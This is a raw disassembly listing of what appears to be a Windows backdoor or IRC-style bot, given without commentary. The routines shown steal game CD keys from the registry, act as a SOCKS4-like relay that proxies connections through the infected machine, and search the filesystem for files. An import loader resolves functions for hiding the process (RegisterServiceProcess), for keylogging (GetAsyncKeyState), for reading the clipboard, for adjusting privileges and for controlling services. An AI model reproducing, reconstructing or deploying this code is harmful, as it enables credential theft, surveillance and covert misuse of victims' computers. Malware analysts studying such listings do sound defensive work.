mov ebx, 1000h
loc_407EEA: ; CODE XREF: sub_407D86+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_43A3D0
cmp eax, edi
jle short loc_407F3C
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_43A408
cmp eax, 0FFFFFFFFh
jnz short loc_407EEA
jmp short loc_407F3C
; ---------------------------------------------------------------------------
loc_407F29: ; CODE XREF: sub_407D86+14Ej
call dword_421088
push eax
push offset unk_427BC8
call sub_40B1E1
pop ecx
pop ecx
loc_407F3C: ; CODE XREF: sub_407D86+44j
; sub_407D86+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_43F554[eax]
call dword_43A450
push [ebp+arg_0]
call dword_43A450
push [ebp+var_4]
call sub_4152AF
pop ecx
push edi
call dword_421048
pop edi
pop esi
pop ebx
sub_407D86 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F6D proc near ; DATA XREF: sub_407D86+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_415D70
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_407FA4: ; CODE XREF: sub_407F6D+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_43F558[esi]
call dword_43A3D0
test eax, eax
jle short loc_407FEB
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_43F554[esi]
call dword_43A408
cmp eax, 0FFFFFFFFh
jnz short loc_407FA4
loc_407FEB: ; CODE XREF: sub_407F6D+61j
push dword_43F558[esi]
call dword_43A450
push [ebp+var_14]
call sub_4152AF
pop ecx
push 0
call dword_421048
pop edi
pop esi
sub_407F6D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40800A proc near ; DATA XREF: sub_40CE55+58ABo
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp+var_14]
push esi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_43A3B8
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_43A438
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_43F554[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_43A3E4
test eax, eax
jnz loc_4081AC
push 0Ah
push edi
call dword_43A3E0
test eax, eax
jnz loc_4081AC
push [ebp+var_40]
push [ebp+var_D4]
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset unk_427D5C
push eax
call sub_4154E7
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_4080E5
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_412D4C
add esp, 14h
loc_4080E5: ; CODE XREF: sub_40800A+B9j
; sub_40800A+172j ...
lea eax, [ebp+var_2D4]
push eax
call sub_40B16D
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_43A44C
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_43A444
push eax
lea eax, [ebp+var_2D4]
push offset unk_427D04
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2D4]
push 11h
push eax
call sub_414F93
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_43F54C[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_40820F
push esi
push esi
call dword_42108C
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_43F55C[ecx], eax
jz short loc_40818C
loc_408179: ; CODE XREF: sub_40800A+180j
cmp [ebp+var_28], esi
jnz loc_4080E5
push 5
call dword_421060
jmp short loc_408179
; ---------------------------------------------------------------------------
loc_40818C: ; CODE XREF: sub_40800A+16Dj
call dword_421088
push eax
lea eax, [ebp+var_2D4]
push offset unk_427CB8
push eax
call sub_4154E7
add esp, 0Ch
jmp loc_4080E5
; ---------------------------------------------------------------------------
loc_4081AC: ; CODE XREF: sub_40800A+7Bj
; sub_40800A+8Cj
push edi
call dword_43A450
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset unk_427C74
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4081EF
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_412D4C
add esp, 14h
loc_4081EF: ; CODE XREF: sub_40800A+1C3j
lea eax, [ebp+var_2D4]
push eax
call sub_40B16D
push [ebp+var_3C]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048
pop edi
pop esi
pop ebx
sub_40800A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40820F proc near ; DATA XREF: sub_40800A+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_43F554[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_43A3A0
test eax, eax
jnz short loc_408290
push dword ptr [esi]
call dword_43A450
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048
loc_408290: ; CODE XREF: sub_40820F+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_43A3D0
test eax, eax
jg short loc_4082C1
push dword ptr [esi]
call dword_43A450
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048
loc_4082C1: ; CODE XREF: sub_40820F+98j
cmp [ebp+var_4D0], 4
jnz loc_4084BB
cmp [ebp+var_4CF], 1
jnz loc_4084BB
cmp [ebp+var_44], bl
jz short loc_408357
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_408357
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset dword_427E3C
call sub_40B1E1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_415570
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43A408
push dword ptr [esi]
call dword_43A450
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048
loc_408357: ; CODE XREF: sub_40820F+CFj
; sub_40820F+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_415570
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_43A438
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4083EF
call dword_43A34C
push eax
push offset unk_427DEC
call sub_40B1E1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_415570
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43A408
push dword ptr [esi]
call dword_43A450
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048
loc_4083EF: ; CODE XREF: sub_40820F+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_43A360
cmp eax, 0FFFFFFFFh
jnz short loc_40845E
call dword_43A34C
push eax
push offset unk_427D98
call sub_40B1E1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_415570
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43A408
push dword ptr [esi]
call dword_43A450
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048
loc_40845E: ; CODE XREF: sub_40820F+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43A408
push dword ptr [esi]
push edi
call sub_4084D3
pop ecx
pop ecx
push edi
call dword_43A450
push dword ptr [esi]
call dword_43A450
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048
loc_4084BB: ; CODE XREF: sub_40820F+B9j
; sub_40820F+C6j
push dword ptr [esi]
call dword_43A450
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048
sub_40820F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4084D3 proc near ; CODE XREF: sub_40820F+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4084E9: ; CODE XREF: sub_4084D3+C5j
; sub_4084D3+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_408501: ; CODE XREF: sub_4084D3+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_408511
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_408501
loc_408511: ; CODE XREF: sub_4084D3+33j
cmp ecx, 1
jnz short loc_408526
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_408526: ; CODE XREF: sub_4084D3+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_43A3A0
lea eax, [ebp+var_104]
push eax
push ebx
call dword_43A2B0
test eax, eax
jz short loc_408586
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_43A3D0
cmp eax, 0FFFFFFFFh
jz short loc_4085CE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_43A408
cmp eax, 0FFFFFFFFh
jz short loc_4085CE
loc_408586: ; CODE XREF: sub_4084D3+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_43A2B0
test eax, eax
jz loc_4084E9
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_43A3D0
cmp eax, 0FFFFFFFFh
jz short loc_4085CE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_43A408
cmp eax, 0FFFFFFFFh
jnz loc_4084E9
loc_4085CE: ; CODE XREF: sub_4084D3+9Aj
; sub_4084D3+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4084D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4085D3 proc near ; CODE XREF: sub_40CE55+52B0p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_427E94, ebx
mov [ebp+var_C], 80h
jz loc_408785
push esi
push edi
mov eax, offset off_427E94
mov esi, offset dword_427EA0
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_408603: ; CODE XREF: sub_4085D3+1AAj
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_43A428
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_43A2C4
test eax, eax
jnz loc_40876B
mov eax, [esi]
cmp eax, ebx
jz loc_40872F
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4154E7
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_415BE8
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_40876B
push eax
loc_40867C: ; CODE XREF: sub_4085D3+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41713C
add esp, 0Ch
test eax, eax
jz loc_408724
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_4086A9
push [ebp+var_8]
jmp short loc_40867C
; ---------------------------------------------------------------------------
loc_4086A9: ; CODE XREF: sub_4085D3+CFj
push 3Dh
push dword ptr [esi+4]
call sub_417080
pop ecx
test eax, eax
pop ecx
jz short loc_4086E8
lea eax, [ebp+var_70]
push offset asc_429098 ; "="
push eax
call sub_416C98
push offset asc_429098 ; "="
push ebx
call sub_416C98
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4154E7
add esp, 20h
jmp short loc_4086FF
; ---------------------------------------------------------------------------
loc_4086E8: ; CODE XREF: sub_4085D3+E4j
lea eax, [ebp+var_70]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4154E7
add esp, 10h
loc_4086FF: ; CODE XREF: sub_4085D3+113j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_2F0]
push eax
call sub_40B16D
add esp, 18h
loc_408724: ; CODE XREF: sub_4085D3+B9j
push [ebp+var_8]
call sub_415B40
pop ecx
jmp short loc_40876B
; ---------------------------------------------------------------------------
loc_40872F: ; CODE XREF: sub_4085D3+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_2F0]
push eax
call sub_40B16D
add esp, 28h
loc_40876B: ; CODE XREF: sub_4085D3+60j
; sub_4085D3+A2j ...
push [ebp+var_4]
call dword_43A394
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_408603
pop edi
pop esi
loc_408785: ; CODE XREF: sub_4085D3+19j
pop ebx
leave
retn
sub_4085D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408788 proc near ; DATA XREF: sub_40CE55+3C21o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_415CF0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_4087DD
lea eax, [ebp+var_114]
push eax
call sub_415CF0
pop ecx
mov [ebp+eax+var_115], bl
loc_4087DD: ; CODE XREF: sub_408788+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_4290F0
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_408822
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_412D4C
add esp, 14h
loc_408822: ; CODE XREF: sub_408788+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_4088A0
push eax
lea eax, [ebp+var_49C]
push offset unk_4290BC
push eax
call sub_4154E7
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_408880
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_412D4C
add esp, 14h
loc_408880: ; CODE XREF: sub_408788+D6j
lea eax, [ebp+var_49C]
push eax
call sub_40B16D
push [ebp+var_10]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048
pop edi
pop esi
pop ebx
sub_408788 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4088A0 proc near ; CODE XREF: sub_408788+B9p
; sub_4088A0+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_415A6A
mov edi, dword_4210A8
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_40895D
loc_4088EC: ; CODE XREF: sub_4088A0+BBj
test [ebp+var_144], 10h
jz short loc_408949
cmp [ebp+var_118], 2Eh
jnz short loc_408910
cmp [ebp+var_117], 0
jz short loc_408949
cmp [ebp+var_117], 2Eh
jz short loc_408949
loc_408910: ; CODE XREF: sub_4088A0+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_415A6A
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4088A0
add esp, 2Ch
mov [ebp+arg_14], eax
loc_408949: ; CODE XREF: sub_4088A0+53j
; sub_4088A0+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call dword_4210A4
test eax, eax
jnz short loc_4088EC
loc_40895D: ; CODE XREF: sub_4088A0+4Aj
push [ebp+var_4]
call dword_421098
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_415A6A
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4089E3
loc_408994: ; CODE XREF: sub_4088A0+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_415A6A
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call dword_4210A4
test eax, eax
jnz short loc_408994
loc_4089E3: ; CODE XREF: sub_4088A0+F2j
push esi
call dword_421098
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_4088A0 endp
; =============== S U B R O U T I N E =======================================
sub_4089F2 proc near ; CODE XREF: sub_40C682+55p
push ebx
push ebp
mov ebp, dword_4210C8
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4210C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_408B12
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_43A464, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_43A3D8, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_43A3BC, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_43A2D8, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_43A284, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_43A2B4, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_43A328, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_43A418, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_43A474, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_43A2E4, eax
call esi
cmp dword_43A464, ebx
mov dword_43A2CC, eax
jz short loc_408AF0
cmp dword_43A3D8, ebx
jz short loc_408AF0
cmp dword_43A3BC, ebx
jz short loc_408AF0
cmp dword_43A2D8, ebx
jz short loc_408AF0
cmp dword_43A2B4, ebx
jz short loc_408AF0
cmp dword_43A328, ebx
jz short loc_408AF0
cmp dword_43A418, ebx
jz short loc_408AF0
cmp dword_43A474, ebx
jz short loc_408AF0
cmp dword_43A2E4, ebx
jz short loc_408AF0
cmp eax, ebx
jnz short loc_408AFA
loc_408AF0: ; CODE XREF: sub_4089F2+B8j
; sub_4089F2+C0j ...
mov dword_43A478, 1
loc_408AFA: ; CODE XREF: sub_4089F2+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_43A3F0, eax
jz short loc_408B27
push 1
push ebx
call eax
jmp short loc_408B27
; ---------------------------------------------------------------------------
loc_408B12: ; CODE XREF: sub_4089F2+1Dj
call dword_421088
mov dword_43A47C, eax
mov dword_43A478, 1
loc_408B27: ; CODE XREF: sub_4089F2+117j
; sub_4089F2+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4210C0
mov edi, eax
cmp edi, ebx
jz loc_408C3C
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_43A414, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_43A3C4, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_43A358, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_43A468, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_43A388, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_43A3A8, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_43A40C, eax
call esi
cmp dword_43A414, ebx
mov dword_43A300, eax
jz short loc_408BE0
cmp dword_43A3C4, ebx
jz short loc_408BE0
cmp dword_43A358, ebx
jz short loc_408BE0
cmp dword_43A468, ebx
jz short loc_408BE0
cmp dword_43A388, ebx
jz short loc_408BE0
cmp dword_43A3A8, ebx
jz short loc_408BE0
cmp dword_43A40C, ebx
jz short loc_408BE0
cmp eax, ebx
jnz short loc_408BEA
loc_408BE0: ; CODE XREF: sub_4089F2+1B8j
; sub_4089F2+1C0j ...
mov dword_43A480, 1
loc_408BEA: ; CODE XREF: sub_4089F2+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_43A384, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_43A298, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_43A354, eax
call esi
cmp dword_43A384, ebx
mov dword_43A340, eax
jz short loc_408C47
cmp dword_43A298, ebx
jz short loc_408C47
cmp dword_43A354, ebx
jz short loc_408C47
cmp eax, ebx
jnz short loc_408C51
jmp short loc_408C47
; ---------------------------------------------------------------------------
loc_408C3C: ; CODE XREF: sub_4089F2+144j
call dword_421088
mov dword_43A484, eax
loc_408C47: ; CODE XREF: sub_4089F2+232j
; sub_4089F2+23Aj ...
mov dword_43A480, 1
loc_408C51: ; CODE XREF: sub_4089F2+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_408DEC
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_43A428, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_43A36C, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_43A3DC, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_43A2C4, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_43A324, eax
call esi
cmp dword_43A428, ebx
mov dword_43A394, eax
jz short loc_408CDC
cmp dword_43A36C, ebx
jz short loc_408CDC
cmp dword_43A3DC, ebx
jz short loc_408CDC
cmp dword_43A2C4, ebx
jz short loc_408CDC
cmp dword_43A324, ebx
jz short loc_408CDC
cmp eax, ebx
jnz short loc_408CE6
loc_408CDC: ; CODE XREF: sub_4089F2+2C4j
; sub_4089F2+2CCj ...
mov dword_43A488, 1
loc_408CE6: ; CODE XREF: sub_4089F2+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_43A39C, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_43A374, eax
call esi
cmp dword_43A39C, ebx
mov dword_43A424, eax
jz short loc_408D21
cmp dword_43A374, ebx
jz short loc_408D21
cmp eax, ebx
jnz short loc_408D2B
loc_408D21: ; CODE XREF: sub_4089F2+321j
; sub_4089F2+329j
mov dword_43A488, 1
loc_408D2B: ; CODE XREF: sub_4089F2+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_43A3AC, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_43A2A0, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_43A2A8, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_43A308, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_43A30C, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_43A2BC, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_43A378, eax
call esi
cmp dword_43A3AC, ebx
mov dword_43A2AC, eax
jz short loc_408DCF
cmp dword_43A2A0, ebx
jz short loc_408DCF
cmp dword_43A2A8, ebx
jz short loc_408DCF
cmp dword_43A308, ebx
jz short loc_408DCF
cmp dword_43A30C, ebx
jz short loc_408DCF
cmp dword_43A2BC, ebx
jz short loc_408DCF
cmp dword_43A378, ebx
jz short loc_408DCF
cmp eax, ebx
jnz short loc_408DD9
loc_408DCF: ; CODE XREF: sub_4089F2+3A7j
; sub_4089F2+3AFj ...
mov dword_43A488, 1
loc_408DD9: ; CODE XREF: sub_4089F2+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_43A2A4, eax
jnz short loc_408E01
